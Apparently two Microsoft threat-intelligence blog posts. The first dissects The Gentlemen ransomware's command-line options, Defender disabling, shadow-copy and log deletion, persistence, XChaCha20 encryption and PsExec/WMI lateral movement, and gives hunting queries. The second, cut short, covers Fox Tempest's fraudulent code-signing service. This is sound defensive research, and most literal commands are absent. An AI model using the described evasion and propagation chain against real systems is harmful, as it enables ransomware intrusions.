The operators behind the ransomware use double extortion tactics, encrypting data while also exfiltrating sensitive information to pressure victims through the threat of public release if the ransom is not paid. The ransomware is written in Go and obfuscated with Garble to target the Windows environment. Microsoft has observed The Gentlemen ransomware impacting organizations across education, transportation, healthcare, and financial industries in North America, South America, Europe, Africa, and Asia.

In this blog, we present a detailed analysis of the Gentlemen ransomware encryptor, including its execution flow, defense evasion behaviors, encryption design, and lateral movement techniques. This research is intended to provide defenders, incident responders, and the broader security community with a better understanding of how the threat operates, from initial argument parsing and defense evasion, through its file encryption internals, to the full lateral movement that enables it to propagate across the network. We also provide mitigation guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help organizations defend against this threat and similar ransomware activity.

Pre-encryption

Command-line argument processing

The ransomware operator can control The Gentlemen encryptor through command-line arguments. A password is required for execution, and optional arguments allow the operator to specify encryption scope, speed, lateral movement, and post-encryption behaviors.

The binary accepts the following arguments:

The --full command-line argument appears to be the intended mode of operation for comprehensive file encryption on the infected device. When this argument is provided, the malware spawns two child processes of itself: one appended with the argument --system to encrypt local volumes under a SYSTEM-privileged scheduled task, and one appended with the argument --shares to encrypt network shares. This separation ensures that the malware can reach both local drives (which might require SYSTEM privileges) and mapped network shares (which are only visible in the user’s session).

The speed arguments (--fast, --superfast, --ultrafast) are mutually exclusive and control how much of each large file is encrypted. When no speed flag is specified, the default per-chunk percentage is 9%. These flags only affect files that are larger than 1 MB, and small files are fully encrypted regardless of the speed setting.

Usage prompt

When the encryptor is executed with no command-line argument, the malware prints a branded usage banner to the console.

It first executes the following PowerShell commands to render a console header:

This is followed by a detailed usage prompt provided by the malware author that documents all available flags with descriptions and examples:

It is worth noting that the file size percentages listed in the usage prompt refer to the total file encryption amount. Internally, the malware encrypts three separate chunks, and the per-chunk percentage used in the code is: fast=3%, superfast=1%, ultrafast=0.3%, default=9%.

Password check

Before executing its primary functionality, the malware validates the --password argument against a hardcoded value embedded within the binary. For the sample analyzed in this blog, the expected password is “9VoAvR7G”. If the provided password does not match, the malware outputs bad args and terminates execution.

This password check is a simple operator authentication mechanism, with each build containing a unique embedded password. Its purpose is to restrict execution to authorized operators and reduce the risk of accidental or unauthorized detonation if the binary is recovered or intercepted. However, because this validation relies on a static comparison, it can be easily identified and bypassed through static analysis techniques.

System encryption: Privilege escalation

When the --system argument is provided (either directly or via the --full argument), the malware creates a scheduled task to re-execute itself as SYSTEM. If a delay value is also specified through the --T argument, the scheduled execution time is adjusted accordingly.

To relaunch itself as SYSTEM, it issues the following sequence of commands:

The malware can only perform this task if it’s executed from an account with administrator privilege. It first deletes any existing task named gentlemen_system to avoid conflicts, creates a new one-time task that runs its binary under the SYSTEM account, and finally triggers that task.

This sequence ensures a clean state by first removing any existing task with the same name (gentlemen_system), creating a new scheduled task that executes the ransomware binary with SYSTEM-level privileges before finally triggering its immediate execution.

When running within this scheduled task context, the malware sets the environment variable LOCKER_BACKGROUND=1. This variable functions as an internal execution flag, indicating that the process is operating as a background encryption worker with elevated privileges, rather than as the original operator-invoked instance.

Defense evasion

Before starting file encryption, the malware executes a sequence of commands to disable defensive controls and remove potential forensic artifacts.

Disable Microsoft Defender

The PowerShell commands disable Microsoft Defender real-time monitoring to remove active protection on the infected device. The malware then adds its own executable to the Defender exclusion list to avoid detection. Finally, it excludes the entire C:\ volume from scanning, reducing the likelihood of subsequent detection during file encryption.

Delete shadow copies and event logs

To further impede recovery efforts, the malware deletes all Volume Shadow Copies using both vssadmin and wmic (Windows Management Instrumentation command-line utility). It then clears the System, Application, and Security event logs using wevtutil to remove key audit trails.

Delete forensics artifacts

These commands remove a variety of forensic artifacts, including prefetch files that track program execution, Defender diagnostic and support logs, and Remote Desktop Protocol (RDP) logs.

Additionally, the malware manually deletes PowerShell command history across all user profiles by removing the following file:

This action eliminates evidence of previously executed PowerShell commands, further reducing the visibility of execution history and threat actor activity.

Process and service termination

Process termination

The malware stops a list of running processes using the command:

The table below summarizes the different categories and processes being targeted:

Service termination

In addition to terminating processes, the malware disables and stops a list of Windows services using the commands:

The table below summarizes the different categories and services being targeted:

Terminating these processes and services serves two primary objectives:

• File access and encryption reliability: Many targeted processes/services, such as databases, Office applications, and backup agents, maintain active file locks. By forcibly terminating these processes, the ransomware ensures that locked files become accessible for encryption.
• Defense and recovery disruption: By stopping backup services, endpoint protection agents, and remote access tools, the malware reduces the likelihood of real-time detection and data restoration from backups.

Collectively, these behaviors maximize encryption coverage while hindering the environment’s ability to detect, respond to, or recover from the attack.

Persistence

The encryptor can establish persistence for itself through two mechanisms: scheduled tasks and registry keys.

Scheduled tasks persistence

For establishing persistence with scheduled tasks, the malware executes the following sequence of commands:

These commands first remove any pre-existing tasks with the same names, then create two persistence mechanisms that execute automatically at system startup. The UpdateSystem task launches the payload in the SYSTEM security context, while the UpdateUser task launches it in the currently signed-in user’s context. This design increases the likelihood that the ransomware will run after reboot regardless of privilege level or sign-in state.

Registry keys persistence

For establishing persistence with the registry, the malware executes the following sequence of commands:

The GupdateS value under HKEY_LOCAL_MACHINE (HKLM) provides device-wide persistence that allows the malware to run at startup for all users, while the GupdateU value under HKEY_CURRENT_USER (HKCU) provides user-scoped persistence within the current profile. By writing to both registry hives, the malware establishes redundant autorun paths across both system-level and user-level execution contexts.

Together, the scheduled tasks and Run key modifications create layered persistence, ensuring that the encryptor is re-executed after a reboot in both privileged and user-context scenarios.

Network share traversal

When the command-line argument --shares is provided, the malware initiates network share discovery and enumeration. It begins by probing all drive letters A through Z to identify mapped network drives using the following commands:

This sequence discovers any drives that are already mapped in the current user’s session, which are then added to the encryption target list.

To further enhance visibility into the network environment, the malware enables multiple Windows network discovery services and their associated firewall rules using the following commands:

The services enabled as part of this process include:

• Function Discovery Resource Publication (fdrespub): Publishes the host’s resources to the network, allowing other systems to detect it.
• Function Discovery Provider Host (fdPHost): Hosts provider components responsible for discovering network resources.
• Simple Service Discovery Protocol (SSDP) Discovery (SSDPSRV): Enables discovery of Universal Plug and Play (UPnP) devices.
• UPnP Device Host (upnphost): Supports the hosting and management of UPnP devices.

Finally, the malware reinforces this configuration by enabling the Network Discovery firewall rule group. This redundancy ensures that firewall restrictions do not limit its network visibility, further maximizing the number of reachable targets for encryption and propagation.

Volume and directory traversal

To enumerate all available volumes on the system, the malware executes the following PowerShell command sequence:

This command queries Windows Management Instrumentation (WMI) for all mounted volumes with drive letter paths and attempts to enumerate Cluster Shared Volumes (CSVs).

Additionally, the malware performs a secondary enumeration routine by iterating through drive letters A through Z while verifying their existence on disk. This brute-force method ensures broader coverage by identifying volumes that might not be retrieved through WMI queries to maximize visibility into all potential encryption targets.

Directory exclusion list

To maintain system stability and avoid disrupting critical operating system components, the malware excludes a predefined set of directories from traversal and encryption. These directories include core Windows system paths, application directories, and locations commonly associated with security and system management:

Extension exclusion list

The ransomware also excludes a set of file extensions associated with system-critical binaries, configuration files, and executable content:

By avoiding executable files, libraries, scripts, and other system-relevant formats, the malware preserves the integrity of the operating environment. This selective encryption model is a common ransomware design pattern, ensuring that the system remains operational enough for the victim to receive instructions and facilitate ransom payment.

File name exclusion list

The specific file names below are also excluded:

The inclusion of README-GENTLEMEN.txt, the ransomware’s ransom note, prevents it from being encrypted during execution. This ensures that the ransom instructions remain accessible to the victim, which is critical for the operator’s monetization workflow.

Ransom note

During directory traversal, the malware drops a ransom note named README-GENTLEMEN.txt in each scanned directory to provide victim-facing instructions.

The note contains identifiers assigned to the victim, communication channels, and guidance on how to initiate contact with the operators.

File encryption

File ownership

Before encrypting a file, the ransomware modifies the file ownership and access control settings to ensure it has unrestricted write access to the target. This is achieved through the following sequence of commands:

The takeown command recursively transfers ownership of the specified file or directory to the executing user, overriding existing ownership constraints. The icacls command then grants full control permissions to the Everyone security identifier (SID S-1-1-0), applying inheritance flags to propagate these permissions to all child objects. Finally, the attrib command removes the read-only attributes.

Cryptographic scheme

The Gentlemen ransomware implements a hybrid cryptographic design that combines Curve25519 elliptic-curve cryptography with the XChaCha20 stream cipher to achieve efficient and secure per-file encryption.

For each file, the malware performs the following sequence of operations:

1. Generates a unique ephemeral Curve25519 key pair, consisting of a randomly generated private key and its corresponding public key
2. Computes the Elliptic-curve Diffie–Hellman (ECDH) shared secret between the ephemeral private key and the operator’s embedded public key
3. Uses the resulting shared secret as the XChaCha20 key, and derives the nonce from the first 24 bytes of the ephemeral public key
4. Encrypts the file contents using XChaCha20 with this key and nonce combination
5. Appends the Base64-encoded ephemeral public key to the file footer to enable subsequent key reconstruction during decryption

In this sample, the operator’s public key is hard-coded within the binary as a Base64-encoded value:

This design ensures that each file is encrypted with a distinct key and nonce derived from a per-file ephemeral key exchange, eliminating any possibility of key or nonce reuse across files.

During decryption, the decryptor can use the operator’s Curve25519 private key together with the stored ephemeral public key to reconstruct the ECDH shared secret and recover the XChaCha20 key. The nonce is deterministically reconstructed by extracting the first 24 bytes of the recovered ephemeral public key, making separate nonce storage unnecessary.

Overall, this approach provides strong cryptographic isolation between encrypted files while maintaining operational simplicity and efficiency for the threat actor during both encryption and decryption.

Size-based encryption

The malware uses different encryption strategies based on file size:

Small files that are less than 1MB in size are fully encrypted. This ensures that documents, configuration files, and other small but critical data are completely corrupted. For larger files such as databases, virtual disk images, archives, full encryption would be time-consuming. Instead, the malware encrypts three data chunks distributed across the file, which is sufficient to corrupt the file structure while dramatically reducing encryption time.

After encryption, each affected file is renamed with the appended extension .umc16h. This extension serves as a quick indicator of files already encrypted by the ransomware.

Large file chunking logic

For files larger than 1 MB, the malware performs partial encryption by dividing the file into three non-contiguous chunks distributed across its contents:

The first chunk begins at the start of the file, the second is positioned near the midpoint, and the third is located toward the end. This distribution ensures that even limited encryption is sufficient to corrupt the file structure while minimizing processing time.

Each chunk is encrypted in 64 KB (0x10000) blocks using XChaCha20. To maintain cryptographic separation between chunks, the malware modifies the nonce on a per-chunk basis. Specifically, the last byte of the 24-byte XChaCha20 nonce is XOR-ed with the chunk index (0, 1, or 2), and a new cipher instance is initialized for each chunk using the modified nonce. As a result, chunk 0 uses the original nonce, while subsequent chunks use deterministically altered variants.

Although all chunks for a given file share the same derived encryption key, this nonce mutation ensures that each chunk is processed under a unique keystream, preventing keystream reuse across different regions of the file.

The encryption percentage for each file is determined by the provided speed command-line arguments:

File footer

After encrypting each file, the malware appends a structured footer containing metadata required for identification and decryption. The footer format differs slightly depending on whether the file was fully or partially encrypted.

Small file encryption (files ≤ 1 MB):

Large file encryption (files > 1 MB):

The footer serves three primary functions:

1. Key and nonce reconstruction: The Base64-encoded ephemeral public key, located after --eph--, allows the decryptor to recompute both the XChaCha20 key (using ECDH shared secret) and the nonce (first 24 bytes of the ephemeral public key).
2. Identification: The GENTLEMEN marker, located after --marker--, serves as a unique identifier, allowing encryptors/decryptors to quickly determine that the file has been encrypted by The Gentlemen ransomware.
3. Decryption mode: The optional speed flag marker (only present on large files) tells the decryptor which chunking percentage was used.

Notably, the speed marker is only present for large-file encryption. Files that are ≤ 1 MB do not include a speed marker, and its absence signals that the file was fully encrypted. This implicit encoding in the footer allows the decryptor to distinguish between full and partial encryption modes without requiring additional metadata fields.

Post-encryption

Wallpaper setup

If the --silent argument is not provided, the malware drops the following bitmap image file to %TEMP%\gentlemen.bmp and sets it as the system’s desktop wallpaper.

This behavior serves as an immediate visual indicator of compromise, signaling to the victim that encryption has completed.

Self-propagation

The self-propagation module is the more distinctive component of The Gentlemen ransomware. When enabled with the --spread argument, it turns the malware from a single-host encryptor into a self-propagating worm that attempts to deploy its encryptor to every reachable system on the network.

The --spread argument accepts either explicit credentials in domain/user:password format for authenticated lateral movement, or an empty string to reuse the current session’s authentication token.

Placeholder legend

The executed commands in this section use the following placeholders:

Phase 1: Local staging setup

The malware prepares the infected host to act as a distribution point for its binary by executing the following command sequence:

The commands copy the malware executable into C:\Temp, creates a hidden Server Message Block (SMB) share named share$ pointing to that directory, and modifies registry settings to allow anonymous access. With this setup, other systems on the network can retrieve the payload from \\<self>\share$, even when valid credentials are not available.

Phase 2: PsExec drop

The malware binary carries an embedded copy of PsExec and drops it to C:\Temp\psexec.exe on the infected device.

If the embedded PsExec payload cannot be extracted successfully, the malware falls back to downloading PsExec directly from Microsoft’s Sysinternals Live service using the following PowerShell command:

Phase 3: Network enumeration

After dropping PsExec, the malware attempts to enumerate and discover remote systems on the network, including workstations, servers, and domain controllers. Each discovered host becomes a candidate target for propagation.

Phase 4: PowerShell defense evasion blob

Before attempting to run the payload on a remote system, the malware executes the following PowerShell command on the remote target to weaken local defenses and make payload execution more reliable:

This command disables Microsoft Defender real-time monitoring, adds broad Defender exclusions, turns off Windows Firewall across all profiles, shares local drives, grants permissive New Technology File System (NTFS) access, enables SMB1, and loosens anonymous-access restrictions through Local Security Authority (LSA) registry settings. Together, these changes make the remote system significantly more exposed and ready for the payload deployment step.

Phase 5: Payload deployment

For each discovered remote host, the malware attempts a series of independent lateral movement techniques to execute its payload. Notably, these techniques are executed without dependency on prior success, and each method is attempted regardless of whether earlier attempts fail. This execution model of The Gentlemen’s propagation logic can significantly increase the likelihood that at least one execution path succeeds even in secured environments.

5.1: Remote file copy

The malware first stages its payload on the remote system by copying the encryptor binary over the administrative C$ share:

This operation ensures a local copy of the payload is available on the target host, allowing subsequent execution methods to reference a path that does not depend on network shares.

5.2: PsExec-based execution

If PsExec is successfully dropped or downloaded, the malware leverages it to perform a multi-stage execution sequence on the remote host.

First, the malware executes the PowerShell defense evasion payload to weaken host protections:

After a delay to allow defenses to be disabled, the malware executes the payload from the locally staged path C:\Temp under SYSTEM privileges:

After another sleep period, the malware executes the final command to run the payload with the –h flag for elevated token and –c -f to copy and force execution:

5.3: WMIC process creation

The malware uses WMI via wmic.exe to create remote processes:

The first command executes the defense evasion blob, the second runs the payload from the infected host’s SMB share, and the third runs the pre-staged copy from the target’s local C:\Temp directory.

5.4: Scheduled tasks (user)

The malware creates three scheduled tasks under the target user’s context, each running two minutes after the time when they are created:

The scheduled task DefU is set to run the defense evasion blob, UpdateGU executes the payload from the infected host’s SMB share, and UpdateGU2runs the pre-staged copy from the target’s local C:\Temp directory.

5.5: Scheduled tasks (system)

The same three tasks are repeated, running under the SYSTEM account:

By attempting both user-context and SYSTEM-context task creation, the ransomware can improve its chance of propagation across environments with different permission boundaries.

5.6: Service-based execution

The malware executes the following command sequence to create three Windows services on the target host:

Similar to the scheduled tasks, the service DefSvc is set to run the defense evasion blob, UpdateSvc executes the payload from the infected host’s SMB share, and UpdateSvc2 runs the pre-staged copy from the target’s local C:\Temp directory. These services run as SYSTEM by default, which provides another high-privilege execution path for the ransomware payload on the remote system.

5.7: Payload deployment: PowerShell remoting

Using PowerShell remoting, the malware executes commands directly on the target using Invoke-Command:

This method leverages Windows Remote Management (WinRM), providing an alternative execution channel when PsExec or WMIC are unavailable or blocked.

5.8: PowerShell WMI execution

Finally, the malware uses the PowerShell WMI class interface directly to create remote processes with the following command sequence.

This provides functionality equivalent to wmic.exe, but through a different execution path. As a result, it might succeed in environments where the WMIC binary is restricted but WMI access remains available.

Self-propagation summary

Across all techniques, the malware attempts 21 remote execution operations per target host, spanning multiple APIs, privilege levels, and execution contexts. Each method attempts to launch the payload from:

• The infected host’s SMB share: \\<self>\share$\<payload_name>
• The target host’s locally staged path: C:\Temp\<payload_name>

This redundancy is central to The Gentlemen’s propagation strategy. In secured environments where most lateral movement techniques are mitigated, a single successful execution on a single additional host is sufficient to continue the propagation.

Free space wipe

If the --wipe argument is provided, The Gentlemen ransomware performs an additional post-encryption routine to eliminate recoverable artifacts from disk.

The malware first enumerates all available volume paths on the system. For each volume, it creates a temporary file named wipefile.tmp at the root directory and determines the amount of available free space. It then writes random data to this file in 64 MB blocks until the volume is completely filled. Once the disk space has been exhausted, the temporary file is deleted.

This process effectively overwrites all unallocated disk space with random data, preventing forensic tools from recovering remnants of previously deleted files. This includes cached or temporary versions of original unencrypted data that might still reside on disk. When combined with earlier actions such as Volume Shadow Copy deletion, this behavior reduces the likelihood of data recovery without access to the threat actor’s decryption key.

Self-delete

If the --keep flag is not provided, the malware attempts to remove its executable from disk after completing encryption.

Since a running process cannot directly delete its own binary, the ransomware generates and executes a temporary batch script at <malware_path>.batwith the following contents:

The batch script introduces a short delay by sending three Internet Control Message Protocol (ICMP) echo requests to the local host, pausing execution long enough for the main malware process to terminate. After this delay, the script deletes the original ransomware executable before removing itself. This mechanism helps reduce on-disk artifacts and hinders post-incident forensic analysis by eliminating the ransomware binary from the compromised system.

Defending against The Gentlemen ransomware

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations. 
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. 
• Turn on tamper protection features to prevent threat actors from stopping security services. In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
• Enable controlled folder access. Controlled folder access helps protect your valuable data from malicious apps and threats, such as ransomware. Controlled folder access works by only allowing trusted apps to access protected folders. Protected folders are specified when controlled folder access is configured. Apps that aren’t included in the trusted apps list are prevented from making any changes to files inside protected folders. 
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume. 
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully. 
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:  
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block process creations originating from PSExec and WMI commands if you’re managing your devices with Intune or another MDM solution. This rule is incompatible with management through Microsoft Endpoint Configuration Manager. 
  • Use advanced protection against ransomware

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Ransom:Win64/Gentlemen

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware-linked threat actor detected
• Ransomware behavior detected in the file system
• Possible ransomware activity
• File backups were deleted
• Potential human-operated malicious activity
• Possible data exfiltration
• Suspicious wallpaper change

The following alerts might indicate threat activity associated with The Gentlemen ransomware if Defender for Endpoint is set to block mode.

• ‘Gentlemen’ ransomware was detected
• ‘Gentlemen’ ransomware was prevented

Microsoft Defender for Cloud Apps

The following alert might indicate threat activity associated with this threat. This alert, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware activity

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Tool profile: Gentlemen ransomware
• Threat overview profile: Human-operated ransomware

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Known The Gentlemen ransomware files

Search for the file hashes associated with The Gentlemen ransomware activity identified in this report. 

let fileHashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
union
(
   DeviceFileEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceFileEvents"
),
(
   DeviceEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = 
SHA256, SourceTable = "DeviceEvents"
),
(
   DeviceImageLoadEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents"
),
(
   DeviceProcessEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceProcessEvents"
)
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect web sessions IP and file hash indicators of compromise using Advanced Security Information Model (ASIM)

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic([]);
let ioc_sha_hashes =dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect files hashes indicators of compromise using ASIM

The following query checks IP addresses and file hash IOCs across data sources supported by ASIM file event parser:

// file hash list - imFileEvent
let ioc_sha_hashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
imFileEvent
| where SrcFileSHA256 in (ioc_sha_hashes) or
TargetFileSHA256 in (ioc_sha_hashes)
| extend AccountName = tostring(split(User, @'')[1]), 
  AccountNTDomain = tostring(split(User, @'')[0])
| extend AlgorithmType = "SHA256"

Indicators of compromise

Acknowledgements

• License to Encrypt: The “Gentlemen” Make Their Move. Cybereason (accessed 2026-02-06)
• Unmasking The Gentlemen Ransomware: Tactics, Techniques, and Procedures Revealed. TrendMicro (accessed 2026-02-06)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post The Gentlemen ransomware: Dissecting a self-propagating Go encryptor appeared first on Microsoft Security Blog.

Fox Tempest is a financially motivated threat actor that operates a malware-signing-as-a-service (MSaaS)  used by other cybercriminals to more effectively distribute malicious code, including ransomware. The threat actor abuses Microsoft Artifact Signing to generate short-lived, fraudulent code-signing certificates to appear legitimately signed, allowing malware to evade security controls.

Fox Tempest has created over a thousand certificates and established hundreds of Azure tenants and subscriptions to support its operations. Microsoft has revoked over one thousand code signing certificates attributed to Fox Tempest. In May 2026, Microsoft’s Digital Crimes Unit (DCU), with support from industry partner Resecurity, disrupted Fox Tempest’s MSaaS offering, targeting the infrastructure and access model that enables its broader criminal use.

Microsoft Threat Intelligence observed Fox Tempest’s operations enabling the deployment of Rhysida ransomware by threat actors such as Vanilla Tempest, as well as the distribution of other malware families including Oyster, Lumma Stealer, and Vidar. The consistency, scale, and downstream impact of the resulting attack activity demonstrate that Fox Tempest is a vital operator within the broader cybercrime ecosystem.

In this blog, we examine how Fox Tempest’s MSaaS operation functioned and how it enabled the delivery of trusted, signed malware across the cybercrime ecosystem. We also provide Microsoft Defender detections, indicators of compromise (IOCs), and mitigation recommendations to help organizations identify and disrupt similar activity.

Fox Tempest’s role and impact

Fox Tempest doesn’t directly target victims but instead provides supporting services that enable ransomware operations by other threat actors. Microsoft Threat Intelligence has tracked Fox Tempest since September 2025. Microsoft Threat Intelligence has linked the actor to various ransomware groups including Vanilla Tempest, Storm-0501, Storm-2561, and Storm-0249, who have all leveraged Fox Tempest-signed malware in active intrusions. Malware delivery in these attacks have included use of legitimate purchased advertisements, malvertising, and SEO poisoning.

Cryptocurrency analysis associated with Fox Tempest has identified clear links tying the actor to ransomware affiliates responsible for delivering several prominent ransomware families, including INC, Qilin, Akira, and others, with observed proceeds in the millions. Based on the scale of the MSaaS offering, Microsoft Threat Intelligence assesses that Fox Tempest is a well-resourced group handling infrastructure creation, customer relations, and financial transactions.

The downstream impact of these operations has resulted in attacks against a broad range of industry sectors, including healthcare, education, government, and financial services, impacting organizations globally including, but not limited to the United States, France, India, and China.

Fox Tempest’s malware signing as a service infrastructure

Fox Tempest’s MSaaS capability was available through the website signspace[.]cloud, a now defunct service that was disrupted by DCU, which enabled other threat actors to fraudulently obtain short-lived Microsoft-issued certificates that were valid for only 72 hours, obtained through Artifact Signing (previously named Azure Trusted Signing). This use of short-life certificates from a trusted source allowed malware and ransomware to masquerade as legitimate software (like AnyDesk, Teams, Putty, and Webex) to bypass security controls, significantly increasing the likelihood of execution and successful delivery. Fox Tempest offered this MSaaS capability to the ransomware ecosystem since at least May 2025.

To obtain legitimate signed certificates through Artifact Signing, the requestor must pass detailed identify validation processes in keeping with industry standard verifiable credentials (VC), which suggests the threat actor very likely used stolen identities based in the United States and Canada to masquerade as a legitimate entity and obtain the necessary digital credentials for signing. The SignSpace website was built on Artifact Signing and enabled secure file signing through an admin panel and user page, leveraging Azure subscriptions, certificates, and a structured database for managing users and files. A GitHub repository, called code‑signing‑service, included configuration files and technical details that directly linked it to the infrastructure behind signspace[.]cloud.

The signspace[.]cloud service has two unique modeling groupings: the admin and the customers. The admin is responsible for maintaining the tooling, account creation, and infrastructure, while the customers provide files to be fraudulently code signed. Customers who accessed the service could upload malicious files to be signed using Fox Tempest-controlled certificates.

Below are examples of the signspace[.]cloud portal as seen by Fox Tempest’s customers:

In February 2026, Microsoft Threat Intelligence observed a notable shift in Fox Tempest’s operational infrastructure. Fox Tempest transitioned to providing customers with pre-configured virtual machines (VMs) hosted on US-based virtual private server provider Cloudzy’s infrastructure, allowing threat actors to upload their malicious files directly to Fox Tempest‑controlled environments and receive signed binaries in return. This infrastructure evolution reduced friction for customers, improved operational security for Fox Tempest, and further streamlined the delivery of malicious but trusted, signed malware at scale. Microsoft’s Digital Crimes Unit (DCU) disrupted this infrastructure and continues to partner with Cloudzy to identify and disrupt related infrastructure.

Below is an example of the Fox Tempest-provided VM environment as seen by customers:

Inside the VM, Fox Tempest provided files that are used to sign code:

• The first file, metadata.json, was a configuration file that pointed to an Azure‑hosted endpoint which also included the signing account and certificate profile.
• The second file, test.js, is an example of a file provided by Fox Tempest that had been digitally signed to demonstrate their signing capabilities to customers.
• The third file, PS code sample.txt, contains the PowerShell script they used to sign customer‑submitted files using certificates under Fox Tempest control.

Threat actors using Fox Tempest’s MSaaS offering paid thousands of dollars to get their malicious code signed, as shown below with the Google Form detailing the service’s pricing model. Actors filled out the form before being added to a queue to submit payment and gain access to a VM. The form (written in both English and Russian) asks the user to choose a selected plan from a price list of $5000 USD, $7500 USD, or $9000 USD, with a mention that higher paying plans receive priority in the queue sequence.

Fox Tempest engaged directly with customers using a Telegram channel, EV Certs for Sale by SamCodeSign under the user account arbadakarba2000. All signing activity occurred using a Fox Tempest-provided email address associated with a very small number of IP addresses.

Case study: Fox Tempest enables Vanilla Tempest attacks

Vanilla Tempest began using Fox Tempest’s MSaaS service as early as June 2025. Through this service, Vanilla Tempest uploaded malicious payloads such as trojanized Microsoft Teams installers, which Fox Tempest would fraudulently signed to appear legitimate. Vanilla Tempest would then distribute these signed binaries through legitimately purchased advertisements that redirected users searching for Microsoft Teams to attacker‑controlled advertisements and fraudulent download pages.

Victims were presented with a malicious MSTeamsSetup.exe in place of the legitimate client, reflecting a broader pattern of Vanilla Tempest frequently abusing trusted software brands to lure victims and establish initial access. Execution of the counterfeit installer resulted in the deployment of the Oyster backdoor (also known as Broomstick), a modular, multistage implant that establishes persistent remote access, initiates command‑and‑control (C2) communications, collects host‑level information, and enables the delivery of additional payloads. By masquerading as a widely deployed enterprise collaboration tool hiding behind a fraudulently signed binary, Vanilla Tempest’s Oyster payload was likely able to evade casual detection and blend into normal enterprise activity. In some observed cases, Vanilla Tempest also deployed Rhysida ransomware within victim environments using the same process.

Defending against Fox Tempest-enabled attacks

To defend against Fox Tempest tactics, techniques, and procedures (TTPs) and similar activity, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
